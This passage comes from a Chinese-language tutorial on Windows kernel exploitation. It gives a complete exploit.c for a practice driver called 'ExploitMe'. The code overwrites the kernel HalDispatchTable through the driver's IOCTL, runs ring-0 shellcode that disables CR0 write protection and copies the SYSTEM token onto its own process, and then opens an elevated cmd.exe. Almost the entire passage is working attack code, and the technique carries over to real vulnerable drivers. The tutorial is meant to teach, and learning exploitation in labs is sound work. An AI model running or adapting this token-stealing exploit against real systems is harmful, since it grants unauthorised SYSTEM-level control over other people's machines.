SystemInstructionEmulationCounts,
SystemInvalidInfoClass1,
SystemCacheInformation,
SystemPoolTagInformation,
SystemProcessorStatistics,
SystemDpcInformation,
SystemNotImplemented6,
SystemLoadImage,
SystemUnloadImage,
SystemTimeAdjustment,
SystemNotImplemented7,
SystemNotImplemented8,
SystemNotImplemented9,
SystemCrashDumpInformation,
SystemExceptionInformation,
SystemCrashDumpStateInformation,
SystemKernelDebuggerInformation,
SystemContextSwitchInformation,
SystemRegistryQuotaInformation,
SystemLoadAndCallImage,
SystemPrioritySeparation,
SystemNotImplemented10,
SystemNotImplemented11,
SystemInvalidInfoClass2,
SystemInvalidInfoClass3,
SystemTimeZoneInformation,
SystemLookasideInformation,
SystemSetTimeSlipEvent,
SystemCreateSession,
SystemDeleteSession,
SystemInvalidInfoClass4,
SystemRangeStartInformation,
SystemVerifierInformation,
SystemAddVerifier,
SystemSessionProcessesInformation
} SYSTEM_INFORMATION_CLASS;

typedef struct _SYSTEM_MODULE_INFORMATION
{
/* 0x0000 */ ULONG Reserved[2];
/* 0x0008 */ PVOID Base;
/* 0x000C */ ULONG Size;
/* 0x0010 */ ULONG Flags;
/* 0x0014 */ USHORT Index;
/* 0x0016 */ USHORT Unknown;
/* 0x0018 */ USHORT LoadCount;
/* 0x001A */ USHORT ModuleNameOffset;
/* 0x001C */ UCHAR ImageName[256];
/* 0x011C */
}
SYSTEM_MODULE_INFORMATION,
*PSYSTEM_MODULE_INFORMATION,
**PPSYSTEM_MODULE_INFORMATION;

typedef struct _SYSTEM_MODULE_INFORMATION_EX
{
/* 0x00 */ ULONG ModulesCount;
/* 0x04 */ SYSTEM_MODULE_INFORMATION Modules[0];
/* 0xXX */
}
SYSTEM_MODULE_INFORMATION_EX,
*PSYSTEM_MODULE_INFORMATION_EX,
**PPSYSTEM_MODULE_INFORMATION_EX;

typedef enum _KPROFILE_SOURCE
{
ProfileTime,
ProfileAlignmentFixup,
ProfileTotalIssues,
ProfilePipelineDry,
ProfileLoadInstructions,
ProfilePipelineFrozen,
ProfileBranchInstructions,
ProfileTotalNonissues,
ProfileDcacheMisses,
ProfileIcacheMisses,
ProfileCacheMisses,
ProfileBranchMispredictions,
ProfileStoreInstructions,
ProfileFpInstructions,
ProfileIntegerInstructions,
Profile2Issue,
Profile3Issue,
Profile4Issue,
ProfileSpecialInstructions,
ProfileTotalCycles,
ProfileIcacheIssues,
ProfileDcacheAccesses,
ProfileMemoryBarrierCycles,
ProfileLoadLinkedIssues,
ProfileMaximum
} KPROFILE_SOURCE;

typedef VOID (NTAPI *PIO_APC_ROUTINE)
(
IN PVOID ApcContext,
IN PIO_STATUS_BLOCK IoStatusBlock,
IN ULONG Reserved
);

IMP_VOID RtlInitAnsiString
(
IN OUT PANSI_STRING DestinationString,
IN PUCHAR SourceString
);

IMP_VOID RtlInitUnicodeString
(
IN OUT PUNICODE_STRING DestinationString,
IN PCWSTR SourceString
);

IMP_VOID RtlCreateUnicodeStringFromAsciiz
(
OUT PUNICODE_STRING DestinationString,
IN PUCHAR SourceString
);

IMP_VOID RtlFreeUnicodeString
(
IN PUNICODE_STRING UnicodeString
);

IMP_VOID RtlFreeAnsiString
(
IN PANSI_STRING AnsiString
);

IMP_SYSCALL LdrLoadDll
(
IN PWSTR DllPath OPTIONAL,
IN PULONG DllCharacteristics OPTIONAL,
IN PUNICODE_STRING DllName,
OUT PVOID *DllHandle
);

IMP_SYSCALL LdrUnloadDll
(
IN PVOID DllHandle
);

IMP_SYSCALL LdrGetProcedureAddress
(
IN PVOID DllHandle,
IN PANSI_STRING ProcedureName OPTIONAL,
IN ULONG ProcedureNumber OPTIONAL,
OUT PVOID *ProcedureAddress
);

IMP_SYSCALL NtAllocateVirtualMemory
(
IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress,
IN ULONG ZeroBits,
IN OUT PULONG AllocationSize,
IN ULONG AllocationType,
IN ULONG Protect
);

IMP_SYSCALL NtFreeVirtualMemory
(
IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress,
IN OUT PULONG FreeSize,
IN ULONG FreeType
);

IMP_SYSCALL NtQuerySystemInformation
(
IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength OPTIONAL
);

IMP_SYSCALL NtCreateFile
(
OUT PHANDLE FileHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN PLARGE_INTEGER AllocationSize OPTIONAL,
IN ULONG FileAttributes,
IN ULONG ShareAccess,
IN ULONG CreateDisposition,
IN ULONG CreateOptions,
IN PVOID EaBuffer OPTIONAL,
IN ULONG EaLength
);

IMP_SYSCALL NtDeviceIoControlFile
(
IN HANDLE FileHandle,
IN HANDLE Event OPTIONAL,
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
IN PVOID ApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN ULONG IoControlCode,
IN PVOID InputBuffer OPTIONAL,
IN ULONG InputBufferLength,
OUT PVOID OutputBuffer OPTIONAL,
IN ULONG OutputBufferLength
);

IMP_SYSCALL NtDelayExecution
(
IN BOOLEAN Alertable,
IN PLARGE_INTEGER Interval
);

IMP_SYSCALL NtQueryIntervalProfile
(
IN KPROFILE_SOURCE Source,
OUT PULONG Interval
);

IMP_SYSCALL NtClose
(
IN HANDLE Handle
);

#endif

******************************** END *************************************

******************************** exploit.c *******************************

#include "exploit.h"

#define IOCTL_CODE 0x8888A003

PVOID RtlAllocateMemory(
IN ULONG Length)
{
NTSTATUS NtStatus;

PVOID BaseAddress = NULL;


NtStatus = NtAllocateVirtualMemory(
NtCurrentProcess(),
&BaseAddress,
0,
&Length,
MEM_RESERVE |
MEM_COMMIT,
PAGE_READWRITE);

if(NtStatus == STATUS_SUCCESS)
{
RtlZeroMemory(BaseAddress, Length);

return BaseAddress;
}

return NULL;
}

VOID RtlFreeMemory(
IN PVOID BaseAddress)
{
NTSTATUS NtStatus;

ULONG FreeSize = 0;


NtStatus = NtFreeVirtualMemory(
NtCurrentProcess(),
&BaseAddress,
&FreeSize,
MEM_RELEASE);
}


char g_ressdtOutputBuffer[4]={0};//输出的缓冲区

DWORD g_uCr0=0;

NTSTATUS MyShellCode(
ULONG InformationClass,
ULONG BufferSize,
PVOID Buffer,
PULONG ReturnedLength)
{
//关闭内核写保护
__asm
{
cli
mov eax, cr0
mov g_uCr0,eax
and eax,0xFFFEFFFF
mov cr0, eax
}

//提权到SYSTEM
__asm
{
mov eax,0xFFDFF124 // eax = KPCR (not 3G Mode)
mov eax,[eax] //获取当前线程PETHREAD
mov esi,[eax+0x220] //获取当前线程所属进程的PEPROCESS
mov eax,esi
searchXp:
mov eax,[eax+0x88]
sub eax,0x88 //获取进程链表中下一个进程的PEPROCESS
mov edx,[eax+0x84] //获取该进程的pid到edx
cmp edx,0x4 //通过PID查找SYSTEM进程
jne searchXp
mov eax,[eax+0xc8] //获取system进程的token
mov [esi+0xc8],eax //修改当前进程的token
}
//恢复内核写保护
_asm
{
sti
mov eax, g_uCr0
mov cr0, eax
}
return 0;
}

void ShowAlertMsg()
{
LPVOID lpMsgBuf;
DWORD dw = GetLastError();

FormatMessage(
FORMAT_MESSAGE_ALLOCATE_BUFFER |
FORMAT_MESSAGE_FROM_SYSTEM,
NULL,
dw,
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
(LPTSTR) &lpMsgBuf,
0, NULL );

printf("%s",lpMsgBuf);

LocalFree(lpMsgBuf);
}

int __cdecl main(int argc, char **argv)
{
NTSTATUS NtStatus;

HANDLE DeviceHandle;
ULONG ReturnLength = 0;
char g_InputBuffer[4] ="\x00\x00\x00\x00";

ULONG ImageBase;
PVOID MappedBase;
UCHAR ImageName[KERNEL_NAME_LENGTH];
ULONG DllCharacteristics = DONT_RESOLVE_DLL_REFERENCES;
PVOID HalDispatchTable;
PVOID xHalQuerySystemInformation;
PVOID MmUserProbeAddress;

ULONG ShellCodeSize = PAGE_SIZE; // 此值不可过高,否则可能导致在复制shellcode时引发异常,
// 因为复制的内存过广,可能有部分是不可写的,此时就会引发错误!
PVOID ShellCodeAddress;
PVOID BaseAddress = NULL;

UNICODE_STRING DeviceName;
UNICODE_STRING DllName;
ANSI_STRING ProcedureName;
OBJECT_ATTRIBUTES ObjectAttributes;
IO_STATUS_BLOCK IoStatusBlock;
SYSTEM_MODULE_INFORMATION_EX *ModuleInformation = NULL;
LARGE_INTEGER Interval;

ULONG TextColor;

///////////////////////////////////////////////////////////////////////////////////////////////

system("cls");

// 获取内核模块列表数据大小到ReturnLength
NtStatus = NtQuerySystemInformation(
SystemModuleInformation,
ModuleInformation,
ReturnLength,
&ReturnLength);

if(NtStatus == STATUS_INFO_LENGTH_MISMATCH)
{
ReturnLength = (ReturnLength & 0xFFFFF000) + PAGE_SIZE * sizeof(ULONG);

ModuleInformation = RtlAllocateMemory(ReturnLength); // 申请内存用于存放内核模块列表数据

if(ModuleInformation)
{
// 获取内核模块列表数据到ModuleInformation
NtStatus = NtQuerySystemInformation(
SystemModuleInformation,
ModuleInformation,
ReturnLength,
NULL);

if(NtStatus == STATUS_SUCCESS)
{
// 从内核模块列表中获取内核第一个模块的基址和名称
ImageBase = (ULONG)(ModuleInformation->Modules[0].Base); // 获取模块基址

RtlMoveMemory(
ImageName, // 获取模块名称
(PVOID)(ModuleInformation->Modules[0].ImageName +
ModuleInformation->Modules[0].ModuleNameOffset),
KERNEL_NAME_LENGTH);

printf(" **************************************************************************\n"
" * ImageBase - 0x%.8X \n"
" * ImageName - %s \n",
ImageBase,
ImageName);

RtlFreeMemory(ModuleInformation); // 释放存放内核模块列表的内存

RtlCreateUnicodeStringFromAsciiz(&DllName, (PUCHAR)ImageName); // 获取内核模块的UnicodeString

// 加载内核模块到本地进程
NtStatus = LdrLoadDll(
NULL, // DllPath
&DllCharacteristics, // DllCharacteristics
&DllName, // DllName
&MappedBase); // DllHandle
printf( " * \n"
" * LdrLoadDLL:");
ShowAlertMsg();

RtlInitAnsiString(&ProcedureName, "HalDispatchTable");

// 获取内核HalDispatchTable 函数表地址
NtStatus = LdrGetProcedureAddress(
(PVOID)MappedBase, // DllHandle
&ProcedureName, // ProcedureName
0, // ProcedureNumber OPTIONAL
(PVOID*)&HalDispatchTable); // ProcedureAddress
printf(" * LdrGetProcedureAddress:");
ShowAlertMsg();

(ULONG)HalDispatchTable -= (ULONG)MappedBase;
(ULONG)HalDispatchTable += ImageBase;

// HalDispatchTable 地址 + 4 = HalQuerySystemInformation 函数地址
(ULONG)xHalQuerySystemInformation = (ULONG)HalDispatchTable + sizeof(ULONG);

printf(" * \n"
" * HalDispatchTable - 0x%.8X \n"
" * xHalQuerySystemInformation - 0x%.8X \n",
HalDispatchTable,
xHalQuerySystemInformation);

// 卸载进程中的内核模块
LdrUnloadDll((PVOID)MappedBase);


RtlInitUnicodeString(&DeviceName, L"\\Device\\ExploitMe");

ObjectAttributes.Length = sizeof(OBJECT_ATTRIBUTES);
ObjectAttributes.RootDirectory = 0;
ObjectAttributes.ObjectName = &DeviceName;
ObjectAttributes.Attributes = OBJ_CASE_INSENSITIVE;
ObjectAttributes.SecurityDescriptor = NULL;
ObjectAttributes.SecurityQualityOfService = NULL;

// 获取驱动设备句柄
NtStatus = NtCreateFile(
&DeviceHandle, // FileHandle
FILE_READ_DATA |
FILE_WRITE_DATA, // DesiredAccess
&ObjectAttributes, // ObjectAttributes
&IoStatusBlock, // IoStatusBlock
NULL, // AllocationSize OPTIONAL
0, // FileAttributes
FILE_SHARE_READ |
FILE_SHARE_WRITE, // ShareAccess
FILE_OPEN_IF, // CreateDisposition
0, // CreateOptions
NULL, // EaBuffer OPTIONAL
0); // EaLength
printf( " * \n"
" * NtCreateFile:");
ShowAlertMsg();

// 令输出缓冲区指针指向HalQuerySystemInformation函数地址
*(DWORD *)g_ressdtOutputBuffer=(DWORD)xHalQuerySystemInformation;


NtStatus = NtDeviceIoControlFile(
DeviceHandle, // FileHandle
NULL, // Event
NULL, // ApcRoutine
NULL, // ApcContext
&IoStatusBlock, // IoStatusBlock
IOCTL_CODE, // IoControlCode
g_InputBuffer, // InputBuffer
4, // InputBufferLength
g_ressdtOutputBuffer, // OutputBuffer
4); // OutBufferLength
printf(" * NtDeviceIoControlFile:");
ShowAlertMsg();

ShellCodeAddress = (PVOID)sizeof(ULONG);

NtStatus = NtAllocateVirtualMemory(
NtCurrentProcess(), // ProcessHandle
&ShellCodeAddress, // BaseAddress
0, // ZeroBits
&ShellCodeSize, // AllocationSize
MEM_RESERVE |
MEM_COMMIT |
MEM_TOP_DOWN, // AllocationType
PAGE_EXECUTE_READWRITE); // Protect
printf(" * NtAllocateVirtualMemory:");
ShowAlertMsg();

RtlCopyMemory(
ShellCodeAddress,
(PVOID)MyShellCode,
ShellCodeSize);

printf(" * RtlMoveMemory:");
ShowAlertMsg();

// 通过调用NtQueryIntervalProfile函数来执行0x0上的ring0 shellcode
NtStatus = NtQueryIntervalProfile(
ProfileTotalIssues, // Source
NULL); // Interval
printf(" * NtQueryIntervalProfile:");
ShowAlertMsg();

NtStatus = NtClose(DeviceHandle);

printf(" * NtClose:");
ShowAlertMsg();
printf(" **************************************************************************\n");

WinExec("cmd.exe" , SW_SHOW);
printf(" * Exploit Successful!\n\n");

getchar();

}
}
}

return FALSE;
}

********************************** END ********************************************

0x3 结尾

写这个exploit,时间更多地是花在调试上面,遇到的主要问题就是写exploit时,在复制shellcode到分配的内存地址时,由于复制的字节数过大,导致因后面的内存不可读而显错,经过多次调试,将其调整为0xA00大小最为合适,另一个问题是在编译样章上的源码遇到的问题,由于粗心将符号链接名中的两斜杆\落掉了,导致编译成功后,可加载但不可启动,经过多次的内核调试才找到原因。很多问题都是如此,在找到问题根源后,总会令人大抱不值不该!本文只是内核漏洞利用的入门教程,希望能对初学者有所帮助!